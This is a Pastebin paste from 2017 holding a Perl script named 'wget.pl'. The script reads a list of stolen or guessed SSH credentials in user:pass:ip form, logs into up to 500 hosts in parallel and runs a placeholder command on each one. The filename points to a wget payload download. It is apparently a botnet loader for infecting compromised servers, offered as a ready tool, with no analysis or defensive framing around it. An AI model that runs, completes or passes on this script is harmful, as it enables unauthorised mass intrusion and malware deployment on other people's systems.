daily pastebin goal
33%
SHARE
TWEET

wget.pl

wtfbbq Aug 27th, 2017 (edited) 635 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. #format user:pass:ip
  3. #usage perl script.pl list
  4.  
  5. use Net::SSH2; use Parallel::ForkManager;
  6.  
  7. $file = shift @ARGV;
  8. open(fh, '<',$file) or die "Can't read file '$file' [$!]\n"; @newarray; while (<fh>){ @array = split(':',$_);
  9. push(@newarray,@array);
  10.  
  11. }
  12. my $pm = new Parallel::ForkManager(500); for (my $i=0; $i <
  13. scalar(@newarray); $i+=3) {
  14.         $pm->start and next;
  15.         $a = $i;
  16.         $b = $i+1;
  17.         $c = $i+2;
  18.         $ssh = Net::SSH2->new();
  19.         if ($ssh->connect($newarray[$c])) {
  20.                 if ($ssh->auth_password($newarray[$a],$newarray[$b])) {
  21.                         $channel = $ssh->channel();
  22.                         $channel->exec('link here');
  23.                         sleep 10;
  24.                         $channel->close;
  25.                         print "\e[32;1mCommand sent to: ".$newarray[$c]."\n";
  26.                 } else {
  27.                         print "\e[0;34mCan't Authenticate Host: ".$newarray[$c]."\n";
  28.                 }
  29.         } else {
  30.                 print "\e[1;31;1mCant Connect To Host: ".$newarray[$c]."\n";
  31.         }
  32.         $pm->finish;
  33. }
  34. $pm->wait_all_children;
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top